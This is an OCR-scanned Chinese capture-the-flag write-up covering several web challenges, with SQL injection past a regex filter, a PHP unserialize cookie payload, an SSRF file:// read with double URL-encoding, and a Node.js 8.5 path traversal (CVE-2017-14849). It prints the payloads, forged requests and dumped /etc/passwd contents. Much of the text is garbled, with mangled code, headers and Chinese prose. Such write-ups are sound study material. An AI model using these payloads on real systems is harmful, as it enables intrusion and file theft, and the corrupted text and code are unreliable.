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LOGIN

Username
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//a "part" of the source code here

function sqlWaf($s)

{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|li
if (preg_match($filter,$s))
return False;
return True;
}

if (isset($_POST['username']) && isset($_POST[ 'password'])) {

if (!isset($_SESSION[ 'VerifyCode']))
die("?");

$username = strval($_POST['username']);



$password = strval($_POST[ 'password']);

if ( !sqlWaf($password) )

alertMes('damn hacker' ,"./index.php");

$sql
// password format: /[A-Za-z@-9]/

$result = $conn->query($sql);

if ($result->num_rows > 0) {
$result->fetch_assoc();
'admin’

$row =
if ( $row['username'] ===
{

if ($row[ 'password'] == $password)

{
$FLAG;

$message
} else {
$message

}

} else {
$message = "wrong user"
}

} else {

$message =

?>

"SELECT * FROM users WHERE username='${username}' AND password=

"user not exist or wrong password";

'${password}

&& $row[ '‘password'] )

"username or password wrong, are you admin?";

password# i€ T, usename® HidiE, FHBKEEW, Mi&usernameflpasswordik [EladminBf a]

username=adminl'+union+select+'admin', 'admin',

"admin'%23&password=admin&captcha=LSOK

POST / HITF/1.1

Host: 121.36.224. 156: 2333

Content-Length: &4

Cache=Control: max=age=0

Upgrade—Insecure-Requests: 1

Origin: http://121.36. 224, 156: 2333

Content—Type: application/z—www—form-urlencoded

User-Agent: Mozilla/5.0 (Windows NT 10.0: Win64: x64) AppleWebKit/537.36 (EHIML, like
Gecko) Chrome/86. 0.4240.183 Safari/537.36

Accept

text/himl, application/zhtnl+xnl, application/znl;q=0. 9, inage/avif, inage/webp, 1nage/apng, */
#:q=0. B, application/signed-exchange :v=h3:¢=0. 9

Referer: http://121.36.224.156: 2333/

Accept-Language: zh~CN. zh:q=0.9

Cookie: PHPSESSID=eBdcflf85afélclec?ab3b0td2BdeTad

Comnnection: close

" admin’ %23kpassword=adninkeaptcha=L50K

usernane=adnini’+uniontselect+’ admin’, ' admin’.

T
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0x03 warmup
THIELIFEHE T, findexphpd &I T unserialize, it REERFHIKIFIHET

if (isset ($_COOKIE['last_login_info'])) {
$last_login_info = unserialize (base64 decode ($_COOKIE['last_login_info']));
try {
if (is_array($last_login_info) && $last_login_info['ip'] != $_SERVER['REMOTE_ADDR']) {
die('WAF info: your ip status has been changed, you are dangrous.');
}
} catch(Exception $e) {
die('Error');
}
} else {
$cookie = base64_encode (serialize (array ( 'ip' => $_SERVER['REMOTE_ADDR']))) ;
setcookie ('last_login_info', $cookie, time () + (86400 * 30));

conn.phpJE i

include 'flag.php';

class SQL {
public $table = '*;
public $username = '‘;
public $password = '*;

public $conn;
public function __ construct() {

}

public function connect() {
$this->conn = new mysqli("localhost", "xxxxx", "xxxx", "xxxx");

public function check_login(){
$result = $this->query();
if ($result === false) {
die("database error, please check your input");

}
$row = $result->fetch_assoc();
if($row === NULL){
die("username or password incorrect!");
}else if($row[ 'username'] === "'admin'){

$flag = file_get_contents('flag.php');

echo "welcome, admin! this is your flag -> ".$flag;
}else{

echo "welcome! but you are not admin";

[ T4+ ~Cumnnl\N.



prresulLiL-orTreey ),

public function query() {
$this->waf();
return $this->conn->query ("select username,password from ".$this->table."

where username='".$this-

public function waf(){
$blacklist = ["union", "join™, "I™, "\"", "#" B U$", "%", "&", .U, /U, Ui, My, vaAr,ovov,omvy
foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!"');

}
foreach ($blacklist as $value) {

if(strripos($this->username, $value)){
die('bad hacker,go out!"');

}
foreach ($blacklist as $value) {

if(strripos($this->password, $value)){
die('bad hacker,go out!"');

public function __ wakeup(){

if (!isset ($this->conn)) {
$this->connect ();

¥

if($this->table){
$this->waf();

}

$this->check_login();

$this->conn->close();

7] LA B fEcheck_logind, HAMlagiyf i s, BIIR 2 IRAT 7 ZE i siadmin A 7



sublic function check login(){

$result = § s->query();

)_l'

rour input™);

lelse if($row['username

$flag = file get contents('fla
= this

come, in!

$result->free();

SEETE, ANPITSQLIERRIITT

-rusername.”

public function query() {
$this->waf();

return $this->conn->query ("select username,password from ".$this->table." where username='".$this-
}
THEAAwaf, BT —TF, KIFNFEEMIEG K /7 B85S P H 2875/ A< Hban
$blaCkliSt = ["union") "jOin") "!") "\"") "#") " ") "0"") "&") "'"J "/"J ":"J ";"J "A"J "_"J "‘"J "{"J "|",

foreach ($blacklist as $value) {
if(strripos($this->table, $value)){
die('bad hacker,go out!');

it BAIX B R ATTAT LA A SQLIE A\ SR 2 fiadmin® 3%, usernameifyadmin, password A fi g% ida’ or '"1'="1, 1%
BT

include "conn.php";

$sql = new SQL();

$sql->table = "users";
$sql->username = "admin";
$sql->password = "a'or'1'="1";
$a = serialize($sql);

echo $a;

echo base64_encode (%$a);
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FETEIEL MWELN 1Z5H 00, 132, 180,020 W PaUITg. IWMPR SURER,

Cookie:
last_login_info=TzozQid TUUwiOjQEe3MENToid GFibGUIOIMENT aidXNlenMiO3ME0Doid XNlecm

cursor: pointer;
border-radius: Spx;

ShbWUIOZMENT oivWRtaWO3ME O DoicGFze3dvemQiO3MEMTASIMEnL3 InM S cBIzEi O3 MEN )
Daiv28ubil7 Tjta| <fstyles
Upgrade-Insecure-Requests: 1

<hody>

username=admindpassvord=admin <div class="box">
n <h2s il erh2 s
<form method="post" action="index.php"=
<div class="inputBox"=
<input type="text" name="usemame" required=""=
<label=H " f<label>
=idiv=
<div class="inputBox"=
<input type="pasaword" name="password" required=""=
<label>E{F/label>
<fdive
“input type="submit' name="" value="7 ">
<ffarm=
=idiv=
<fbody=

welcome, admin! this is your flag -= <7php
Fflag = "flag{S dd2 dS 450G eGf1 1 ewf1{224f5121 2],
username or password incomect!

0x04 ssrfME

WRAUEZERMMAR, —AT A, —MRREIED

FAVAS J 5 6

<?php
for ($i=0; $i < 1000000000; $i++) {

$a = substr(md5($i), -6, 6); if ($a == "d17b5b") { echo $i; break;
?>

SR A fileth BGREL, R EE/etc/passwdik T



Content-Type: applicationfewan-form-urlencoded
ContentLength: 36

Crigin: hitp:/1124.71.187.100:2079

Connection: close

Referer: hitp://124.71.187.100:207 2/

Cookie: PHFSESSID=c26hf3f605fa3G016e10ec51551Gebe
Upgrade-Insecure-Requests: 1

url=file:fliete/passwdEcapteha=28167

BEH/flag, BERZD, ZREE/var/www/html/index.php,

if (isset($_POST['url']) && isset($_POST['captcha'])

» $url) )

{
$url = $_POST['url'];
$captcha = $_POST[ 'captcha'];
$is_post = 1;
if ( $captcha !== $_SESSION[ 'answer'])
{
$die_mess = "wrong captcha";
$is_die = 1;
¥
if ( preg_match('/flag|proc|log/i'
{
$die_mess = "hacker";
$is_die = 1;
}
}

filethriltskflag, FIAH B Surlgmidflagseid

fdive
=div elass="field"=
=button elass="ui button submit" type="submit"> Submit=/button=
</dive
=fdivz
<Hormz
root 00 rootiroct binbash
daemon:x:1:1:dasmon:iusrishin:fusrishin/iologin
birsc2 2 hingbindusrishinmologin
sys 33 sysdeviusrisbin/nologin
synexd 65534 isyncubingbinisyne
gamesx:5:E0:gamesfusrigames:usri/shininologin
man 612 manfvaricache/manusrisbininologin
lpm:T: Tl piivarispool A pd:fusrisbinimologin
miail =08 :8:mail fvarimail dusrisbininol ogin
news 38 newsfvar/spoolinews Jusrisbininologin
uucp s 10:10wuep fvarfspool uucpiusrishininologin
proxy:: 1313 proxy:bin:usrisbininologin
wownw-data o33 33 wwewe-datasivar bvwowfusrisbininol ogin
backup:x:34:34 bac kup fvaribac kups jfusrisbininologin
list:x:38:38:Mailing List Manager:fvarfistiusrisbin/nalogin
irc39:3% iredhvariruniired: usrisbininolagin
gnats:x:d:41:Gnats Bug-Reporting System (admin varlib/gnats:usrisbiniologin
nobody:x:B5534 65534 nobody:/nonexistent iusrisbin/nologin
_apt: 10065534 inonexistent fusr/shinmologin
afdiv=

</body>

fhtrnl=

BEPERS, JFRREAFAwalidyg T flag

&8 lempty($_POST['url']) && !empty($_POST['captcha']))

url=file:///%25%36%36%25%36%63%25%36%31%25%36%37&captcha=43049



url=file 25 %3G HIG U2 WIGWEI W25 %IE %I %25%36%3?&03ptcha=430—|9|

0x05 SecretGuess

FRE % TR, HERAE

Vv SecretGuess
v 9587157dd7e44c05bf75aaf18cc08

> _ MACOSX

v EBIEED

V' osrc
Vv bin
= www
V' views

index_html

JS appjs

{} packagejson
Dockerfile

fEindex.htmidr K3 T source, i vl LA BVERS

=div class="ui containeMs
<form method="post"=>
=div class="ui form"=
<div elass="field"=
“label=Visit URL=/label=
hint=" AL A i 1 ) 9
<fdive
=div class="field"=
<label=Captcha: substrimdS(captcha), -6, 8)=="
href="Jindex.phpTreset'*reset</a=</lahel>
<input type="text" id="captcha" name="captcha":
=fdive
<div elass="field"=

<hutton class="ui button submit' type="submit'=5
<fdive
=fdive

<ffarm=
flag{Ef62dT5deShS1d69T29TI0cdf2of05d4]}  «/dive
<fbody=
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const express = require('express');

const path = require('path');

const env = require('dotenv').config();
const bodyParser = require('body-parser');
const crypto = require('crypto');

const fs = require('fs"')

const hbs = require('hbs');

const process = require("child_process")

const app = express();

app.use('/static', express.static(path.join(__dirname, 'public')));
app.use(bodyParser.urlencoded({ extended: false }))
app.use(bodyParser.json());

app.set('views', path.join(__dirname, "views/"))

app.engine('html', hbs.__express)

app.set('view engine', 'html')

app.get('/', (req, res) => { res.render("index")

})

app.post('/', (req, res) => { if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHas
)

app.get('/source', (req, res) => { res.end(fs.readFileSync(path.join(__dirname, "app.js")))

1}

app.listen(80, "0.0.0.0");

£ Hdockerfiled, XN BEN

FROM node:8.5

COPY ./src /usr/local/app

WORKDIR /usr/local/app

ENV FLAG=Flag{**¥**x¥***}

RUN npm i --registry=https://registry.npm.taobao.org
EXPOSE 80

CMD node /usr/local/app/app.js

ZHERMKRAR, KA T RS FAECVE-2017-148497%1F



3=

node:8.5;f iR ) E

201856 H15H 10, BExERZ 2R FHE=F&(CNVDMRE 7 Node js/k AR S
JE(CNVD-2017-01206, %1/ CVE-2017-594), LR E RNV DTSR TIRIERS. ..

(©) CSDN#EAITX AR

202056 521 H imRESH JRAE Node js 8.5.0 3 BFaH{Tnor
{ERHHE 7 EE R, SEIE_ L ERERAIRHEEN. /.11 )] Jetc]
FErhEf B EIfoo!. .

(©) CSDNHIAIHX B e

7X&iXNode.js CVE-2017-14849 JmiE o T (FMFEE) node.js ...

2017511 5100 I FERVERYRUERIEnode js 8.5.0 28
HIRRAS ISR B R AR, SRS T s RAUR A 2R
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i N/static/../../al..]..]../letc/passwd, FiFH B3

|_— = | T R [

| GET /static/../../al..0. 0. etc/passwd HTTP/1.1 T Content- Type: application/octet-stream

Host: 124.71.187.32:32768 - Content-Length: 1236

UserAgent: Mozilla/5.0 (Windows NT 10.0; WinB84; x84; nv:82.0) Gecko/20100101 Firefox/B82.0 Date: Sun, 08 Nov 2020 03:35:25 GMT

Accept: text/html application/xhtmixml. application/xml;q=0.9,image/iwebp."/.q=0.8 Connection: close

Accept-Language: zh-CN,zh;q=0 8,zh-TW:;q=0.7 zh-HK:;q=0.5,en-US:q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate' root:x:0:0:rootfroot/bin/bash

Connection: close daemon:x:1:1:daemon:fusisbin:/ust/sbin/nologin
Upgrade-Insecure-Requests: 1 bin:x:2:2:bin:/bin:/usi/sbin/nologin

sys:3:3:sys:/dev:/usi/sbin/nologin
sync:x:4:85534:sync:/bin/bin/sync
games:x:5:80:games:/usi/games:fusi/sbin/nologin
man:x8:12:man:ivarfcache/man:/usisbin/neologin
lp2e:7:T:lp:ivarispool/ipd:jusi/sbin/nologin
mail:x:8:8:mail:/varymail:/usisbin/nelogin
news:x:0:9:news:var'spool/news:/usisbin/nologin
uucp:x:10:10:uucp:ivarspool/uucp fusisbin/nologin
proxy:x:13:13:proxy:/bin:/ustsbin/nologin

backup:x:34:34:backup:ivai/backups:/fusi/sbin/nologin

: ire:c:39:30:ired:varrun/ire d:fusi/sbin/nologin

anabeas A A R ke Din Danadlas Cusbamm Fadolah bl

% 3K Bisecret, /static/../../al..l../../usr/local/app/.env, 75 ZFsecret=CVE-2017-14849

v datanc33: 33w data/ivariwawc/usiisbin/nologin

list:x:38:38:Mailing List Manager/varlist/usisbin/nologin



GET Istatic/../. Jal. 1. 0. Justlocal/app/.env HTTP/1.1 HTTP/1.1 200 OK

Host: 124.71.167 .32:32768 X-Powered-By: Express
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win84; x84; n82.0) Gecko/20100101 Firefox/82.0 Accept-Ranges: bytes

Accept: text/html, applicationfxhtmi+xml, applicationfxml;q=0.9,image/webp,”/;q=0.8 Cache-Control: public, max-age=(
Accept-Language: zh-CN,zh;q=0.8,zh-TW:q=0.7 .zh-HK;q=0.5,en-US;q=0.3.en;q=0.2 Last-Modified: Wed, 04 Nov 2020
Accept-Encoding: gzip, deflate ETag: WM16-17593427 aeB"
Connection: close Content-Type: applicationfoctets
Upgrade-Insecure-Requests: 1 Content-Length: 22

Date: Sun, 08 Nov 2020 03:36:09
|] Connection: close

secret=CVE-2017-14840

MRIEIRAG ) 2% A

if (req.body.auth && typeof req.body.auth === 'string' && crypto.createHash('md5").update(env.parsed.secret

A1 CVE-2017-14849 47 md5 N % 2 Je $& 3 B v 3k f5flag, auth=10523ece56¢1d399dae057b3ac1ad733
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